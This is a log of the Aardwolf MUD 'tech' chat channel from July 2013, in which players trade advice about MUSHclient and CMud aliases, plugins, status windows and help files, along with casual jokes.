T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Some of the tethering block SSL/https connections in the free version in an attemtp to get you to buy the paid versions of their apps..
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran my phone company has their own tethering plan, which i have
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Narhtan Tech: can someone post the command that comes up on your screen when you level saying how much practices and trains you gain?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: i said app, not plan.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran the internal settings on the phone. its not an app
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Bamboo Tech: Especially SH T9s
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Bamboo Tech: Mis
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran, it also doesnt work for https from the phone most times either
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: So your ISP sucks. Talk to them.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i did. they told me they would make a ticket
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: so there you have it.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no, they didnt do anything with it
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: So switch ISPs
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: its just like when the government says someone will respond within 2 weeks, it never happens
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran to who?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Whoever the other providor is.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: Or if there is no other ISP, start your own ISP. With Blackjack. And hookers.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: daloran, you sure are weird sometimes
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Daloran Tech: ..Sometimes?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Legendary Gruagach Tech: whats the command to change the monitorstat plugin.. i dont remember which i have, maybe emeralds
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Legendary Gruagach Tech: balaams
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: -j 10
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: pei, thank you for the sounds plugin!  How do I know if I installed it correctly?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: it should play sounds
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Bamboo 3
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Bamboo :3
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: such as?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: make sure you have the sounds folder in the worlds dir
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: cool. i heard that.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: i'm going to have to specify that in my readme
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: use 'snd' to see what sounds are on or off
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: this is pretty cool.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: thanks i worked hard on it
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: the readme had very clear install directions.  I just didn't know (and still don't know) what sounds to expect.  A good test seems to be to take a drink from a container.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: yeah
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: i was going to include a sound on plugin install, but didn't want to be presumtious
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: are any of you (also) unable to copy and paste text in MushClient?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: nope
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Goldryn Tech: i can copy text FROM muchclient into other programs (like a text file), but not vice versa, and i also can't copy and past commands.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: is there a way to add a wait command into an alias in musclient?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: yep
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: how?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: no idea, since I don't use Mush.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: lol - thanks anyway :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: it should be in the helpfiles, though
T3/r7/2013-07-07.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: no i doubt it would
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: can't ever access helpfiles for the client for somereason :(
T3/r7/2013-07-07.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: wait is a lua module and not built into mushclient
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: are you insinuating that lua doesn't have a helpfile?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: hah!
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Arnica Tech: At the point you are interested in that type of functionality, it is worthwhile to explore plugins. They provide almost unlimited flexibility.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Arnica Tech: The possible combinations of aliases, triggers, timers and scripts provides the ability to do what you want how you want to do it.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Zade Tech: "inflexibility" unless personally (re)written
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: sorry yeah i have a lot of plugins, but just wanted to add a quick alias to enter masquerade island so i don't have to type out get mask lugg, wear masc get inv lugg etc.... just need a pause after if give inv to guard for it to work right
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tynrael Tech: do the goal, will solve all those problems  =)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Arnica Tech: Self written was the only type I was referring to. (Well, and largely adapted from the work of others :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: i know and i will, just wanted a quick fix to hold me over - thanks for the advice though :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Zade Tech: Zmud #wait(3000) ftw
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't the mapper have a wait feature?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tynrael Tech: it has a wait duration to determine when to check the room to see if its changed to validate the existence of the exit, but it doesn't pause it for actions that take actual time like guards checking things
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: #wait(3000) doesn't have any meaning in ZMud, Zade.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: no clue don't use the mapper but i've seen this question pop up a bit so if it does its not commonly known
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Zade Tech: where is the walkthru for the MI goal
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: yeah it does have a wait and i use that all the time, but don't want to put cexit because i only want to execute it at the right time of day so hence the alias
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Lorken Tech: sorry didn't mean to start a whole discussion just figured i would ask a quick question - searching google and online muschclient helpfiles now - thanks everyone for your help :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: discussion infects doers with inspiration and a new plugin is born that does a lot more than intended.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Zade Tech: picky picky: #wait (3500) 
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Arnica Tech: there was this post on waits http://www.gammon.com.au/forum/bbshowpost.php?bbsubject_id=8172
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Zade Tech: =h 
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: hi. tech noob here. how do i update the client?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Mushclient?  Follow directions on Mushclient website...
T3/r7/2013-07-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sorry Aardwolf.com website.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Skyris Tech: whats upgrades have been made ?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Close out mushclient first, and create a zip file backup of the entire folder.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: skyris, i'm just upgrading to 2089.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: mandaloth i found the instructions. ty.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: that is not mushclient update but Bast update
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: oh yes, my bad.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: for bast update the aardwebsite instructions dont work
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Shue Tech: it's alright, i'm planning to remove bast's plugins since i don't use them
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: then you also don't need to update
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: whats the best way to get a status window running in cmud? If i trigger off GMCP.char, the window keeps updating like crazy and slows down the processing of other triggers
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Nuanse Tech: even if you dont use basts showing plugins, database that collects information about all your quests etc is awesome...if it works
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: that so? What's in it?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: yep, that's awesome indeed
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Nuanse Tech: it collects information, nothing more. 
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: ah ok
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Nuanse Tech: after a year of collecting, you have wast knowledge of how your quests, gq, cp etc went
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Ayasinda Tech: nod
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: there's really only one way to do a status window in CMud.  All it does is show text and expanded/evaluated results from variable and function references, so it's fully subject to whatever triggers and aliases and whatever you're using to assign the data.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: i mean is there a way to only redraw the variables that have changed? ie don't calculate and redraw the whole window, but only a certain part
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: coz right now its v inefficient, the whole window gets recalced and redrawn even though only 1 variable changed
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: a variable can only have one piece of simple data in it.  stringlists and datarecord variables (ie, gmcp.char.whatever), while referred to as variables, are really collections of internally-grouped variables so anything that changes one specific member in them actually changes the entire variable.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: this means that if you have a datarecord of 51 items and you changed 6 of them then your variable was changed 6 times and triggered 6 different redraws.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: everything referenced in the status window that relates to the variable changed those 6 times gets updated, so if you are displaying all 51 pieces from that datarecord in the status window then all 51 pieces get updated 6 times.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: this is why for buttons and status objects you want to use simple a=b type variables.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: hm then do you have any advice on the implementation of a status window for all the contents of gmcp.char then?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: what triggers are you using to capture the gmcp info?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: just char*
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: everytime theres a change in the GMCP char module, i redraw my status window
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: I assume you are then assigning whatever that trigger matched on to @char.whatever?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: for cmud it's automatic, so the Char* trigger notifies the client that something in the Char module is updated, then just using the cmud command vitals="hp=568|mana=413|moves=882"|status="level=4|tnl=937|hunger=100|thirst=100|align=1397|state=9|pos=Sleeping|enemy|enemypct=62"|stats="str=48|int=57|wis=54|dex=44|con=48|luck=54|hr=162|dr=190|saves=0"|maxstats="maxhp=568|maxmana=413|maxmoves=882|maxstr=29|maxint=34|maxwis=29|maxdex=29|maxcon=29|maxluck=29"|worth="gold=257876|bank=4390000|qp=288|tp=103|trains=20|pracs=21"|base="name=Justar|class=Mage|subclass=Sorcerer|race=Vampire|clan|pretitle|perlevel=1000|tier=0|remorts=1|redos=0".[whatver] pulls the updated variable already
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: for future reference, if you want to avoid parsing prepend what you send to aard with the ` so you don't spam a bunch of horribly unreadable stuff like the contents of %gmcp
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: yep lol
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: you need to avoid using %gmcp directly, since it's specific to the window with focus.  If you ever change focus, the %gmcp reference will be empty since the raw gmcp data was never sent to those other windows.  Status objects are also subject to focus, by the way, which is why you may notice the status window changes (to blank or to something else) when you click on various other windows.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: i see
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: it all depends on what modules and packages that particular window can see.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: to get around the use of %gmcp, assign data to real variables.  Because of how third-party interactions (ie, updating status windows or figuring out if an expression-type trigger should execute or a button should redraw) view variables internally, it is preferable to keep as much as you can in simple-datum type variables (ie, @pet = dog).
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: as I tried to explain earlier, if you use a stringlist or datarecord variable, the whole variable is counted as one variable so anything that references any particular part of said stringlist/datacord would call for updates to everything that referenced ANY part of that variable.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Justar Tech: i see... thanks so much for you advice :)
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone have a preference for a windows ipscanner?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth pelts Vorpal Vorpes with indecipherable 733+ sp33k, d00d. Hide.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol
T3/r7/2013-07-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: But no, never used one sorry...
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: you could use a Sony rootkit for that.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vost Tech: should be 1337
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i thought teet was more fitting
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Vost walks around in the room, looking very confused.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i guess i will just go with angry again
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Hanslanda Tech: does duckbat.com have a way to exclude a specific item that would otherwise appear based on your search string?  I don't necessarily want to exclude other items similar to it based on type, etc.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Legendary Gruagach Tech: anyone know the command to configure balaams level monitor thingy
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Xarfin Tech: How do I change the Numpad mappings in Aardmush?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: Shift+Ctrl+1
T3/r7/2013-07-07.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: ctrl shift 1
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: Xarfin snorts.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Xarfin Tech: I should have known that. Thanks!
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Pei Tech: n/p
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also can be found at Game -> Configure -> Keypad.
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vonliege Tech: is there an aardmush command that I can use to change or assign variables via an alias?
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-07-07.txt.gz:{chan ch=tech}Vonliege Tech: sweet.. thanks
T3/r7/2013-07-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know why a directory i cant seem to find in my files(when viewed through ftp) but if i type in the url it shows up
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: it could be linked in the webserver settings but not in the ftp server settings...
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if anyone cares about MS WPC keynote http://www.digitalwpc.com/Pages/Home.aspx#fbid=KCS5JBVL44t
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone think a flash drive with a programable lcd display on it would be useful?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Chess KING SlyZoR Tech: what do you want to program on it?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: only if it's a secure one where the display has to do with the unlock buttons
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: otherwise, a thumb drive with a write-on surface is more useful ;-)
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: basically i want to have a label
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: pfft abe you just like the smell of sharpies
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Pedwiddle Tech: ...yeah, for labeling purposes, sure.  I know that my wife and I are unsure what's on a particular flash drive, and our kids never seem to return from school with the flash drives we provide them - if we could label them somehow, that would be cool.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: just thought it would be pretty easy if you could route the regular windows formatting label to the lcd
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: way overkill to implement an LCD just for a label...but I'm sure Sharper Image could make hella lot of money with it :P
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Pedwiddle Tech: ...and, fwiw, most flash drives seem to be black, the same color we'd write a name/label on it with.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: been looking since yesterday for an online reference that will help me assign or change variables from within an alias.  anyone care to toss me a link, or help me understand the concept?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: yeah, that's why I said a write-on surface...think Ziplock freezer bags or back of credit cards
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Pedwiddle Tech: Client, Vonliege?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: aardmush
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: the only issue with write-on is if you change what the drive is
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: but i guess the cost of a sticker isn't much
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: von: in helps, SetVariable
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: K... forwhat ever reason, my copy of aardmush didn't come with the help files... but I know where the Gammon pages are.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: will renew my quest with that information
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: all copies of aardmush come with the helpfiles, but your copy of Windows may not have come with a helpfile viewer...
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: http://support.microsoft.com/kb/917607
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: a bit off the topic... but I can see plenty of help files from other programs of varying popularity and polish
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: that doesn't mean anything...
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: (rather, it means that those other programs don't have their helpfiles in the Windows Help file format)
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: I get an error window: "Mushclient: Failed to launch help"... that supports the notion that there is a support program missing.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: yes, the windows helpfile viewer
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: Ayasinda seems to think you have the right idea.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: I'll designate that aquisition as prioity 3.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: even though gammon has all the helpfiles available as html (and on his site), I find the "context-sensitive help" taking you where you need to go quickly to be handy
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: oh, y'know what...another thing to try...in the MUSHclient folder, right-click the MUSHCLIENT.HLP file, go to properties...see if it's "blocked"
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: because it's downloaded from the Internet, Microsoft sometimes tries to protect you from it...that's also why you may have to keep telling UAC to allow the program itself to run
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: doesn't appear to be blocked... set to open with "Windows Winhlp32 Stub"
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: man... getting a silly little bit of software from microsoft is like opening a bank account!
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: why do they need to know my SSN and Bank PIN Number?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i will need your SSN and bank account and routing number to answer that
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i needed my SS card, state issued ID, notorized copy of lease, and previous utility bill in order to get energy setup at my new house. seemed excessive
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Vonliege Tech: I needed proof that I had paid for garbage service.... and money
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Tech: von: were you able to get an alias with SetVariable() working?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Pei Tech: is slain by a final deadly slash!!
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Pei Tech: damn gotta fix
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Dexter Tech: "failed to load detection driver" <- AMD
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Dexter Tech: (now what?)
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Umbra Eutychus Tech: having some issues with my mapper/s&d if anyone can help
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Garthis Tech: what type of issue
T3/r7/2013-07-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: bots tend to break, what do you expect :)
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Umbra Eutychus Tech: when i cp check, it queues up all my targets into s&d, it indexes the areas and will take me there with "xcp *", but it fails to index any of the rooms for the targets. so Ive been having to "mapper area <room>". It only does this with CP's, quests it work's fine.
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Umbra Eutychus Tech: Mush and s&d are up to date, i've tried completely removing the plugins, redownloading and installing, made sure mush was closed during all of it and reloaded before I opened aard again.. thoughts?
T3/r7/2013-07-08.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Anyone every build a VM network as a testing environment?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: This is slightly obscure, but is there anything I can do to stop MUSHclient making streaming music sites like Pandora or Slacker stuttering when a lot of text happens?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Scrublord Wolfe Tech: It's most in combat or speedwalking
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Lorken Tech: question about musclient - is there a way to remove the fact that the f1 key calls up the help window in mushsclient - trying to use it as a macro and the poput that help file can't be found and the extra windows is annoying :(
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Wildkard Tech: is there a password for the mushclient db file?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Vishos Tech: I tend to play from two different computers with different screen resolutions. If i want to xfer my mapper information between each one without copying my entire mushclient folder which specific folders would i need to copy so i don't have to re-do my screen layout on each computer twice a day?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Tymas Tech: Anybody free to teach me how to use variables on mush
T3/r7/2013-07-09.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Learn from a great: Fiendish wrote this: http://code.google.com/p/aardwolfclientpackage/wiki/Variables
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Tymas Tech: ok thanks
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Justar Tech: 0h 20
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: where is the AardMushClient menu to intall personalised buttons (like in Zmud) (that when mouse-clicked run an alias or a command)
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: tnstall
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: where is the AardMushClient menu to install personalised buttons (like in Zmud) (that when mouse-clicked run an alias or a command)
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: there's a menu for that?  I thought the buttons were from a plugin.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you would have to write or find a script that does it i've seen it done with jscript thou
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: did anybody supply a Plugin with a (say) miniwindow array of buttons (perhaps blank buttons waiting to edited) 
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: so to get buttons in Aardclient: (1) Plugin (2) Miniwindow (3) program Lua to create an array of hotspot buttons from scratch (?)-  
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Lorken Tech: u can use game-->configure-->macros to add some commands to buttons
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: simpler to put the programming work into a client that already provides Buttons as a standard option -- old Zmud does, but does CMUD
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: CMud does, yes
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Lorken Tech: aardclient provides help through buttons also - called macros
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: the reference is to visual, on-screen buttons.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Lorken Tech: ooh sorry my bad - i thought he asked about keyboard buttons - sorry :(
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: anyone have any tech jokes?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: #alias techjoke {#send "'Knock, knock!";repeat = 0};#trigger {%w asks 'who's there?'} {#if (epeat <= 3) {#send "Banana!"} {#send "'Orange!"};#add repeat 1};#trigger {%w asks 'Banana who?'} {#if (epeat <= 3) {#send "'Knock, knock!"} {#send "'Orange you glad I didn't say banana!?"}}
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: ahem, #alias techjoke {#send "'Knock, knock!";repeat = 0};#trigger {%w asks 'who's there?'} {#if (epeat <= 3) {#send "Banana!"} {#send "'Orange!"};#add repeat 1};#trigger {%w asks 'Banana who?'} {#if (epeat <= 3) {#send "'Knock, knock!"} {#send "'Orange you glad I didn't say banana!?"}}
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Tech: Smart move! Hanslanda tries to start some discussion about the weather, hoping no one noticed his last mischan.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Tech: Frie snickers softly.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: ahem, #alias techjoke {#send "'Knock, knock!";repeat = 0};#trigger {%w asks 'who's there?'} {#if (@repeat <= 3) {#send "Banana!"} {#send "'Orange!"};#add repeat 1};#trigger {%w asks 'Banana who?'} {#if (@repeat <= 3) {#send "'Knock, knock!"} {#send "'Orange you glad I didn't say banana!?"}}
T3/r7/2013-07-09.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: lol but you have to @@ for that to work right
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: which provides the better auto-mapper: AardMushClient or Cmud
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Martini & Tyebald Tech: aardmush comes pre-configured.  other than that, probably just a question of which you'd rather deal with.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: cmud, in my opinion.  Mush's automapper attempts to only show you line of sight, which can make it confusing to navigate after your initial runthrough.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: and look how it handles mazes.  Many mazes have a layout-context angle to them, but with Mush only showing the current room you don't get to see that.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Does AVG work on Windows 8 anyone know?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Hanslanda Tech: I would find it rather suspect as an antivirus package if it didn't by now work on it.
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Arnica Tech: It restores the Start button and menu and destroys the metro interface. Otherwise fine.  (JK)
T3/r7/2013-07-09.txt.gz:{chan ch=tech}SeanJac Tech: is there a way to make an area use mapper walkto, instead of mapper runto?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Sexcellent GabeLogan Tech: Anyone have windows 8?
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: Anyone know how i can stop myself from disconnecting when i type 'note list' then choose 'a' for all at the paging prompt? after about 200 lines i get dc'd
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Cherylpantz Tech: pagesize 50
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: the paging prompt
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: oh ok ill try that
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Cherylpantz Tech: and then don't chose 'a' :)
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Zade Tech: pagesize 170  is safe
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: doesn't work
T3/r7/2013-07-09.txt.gz:{chan ch=tech}Deathbolt Tech: still get disconnected
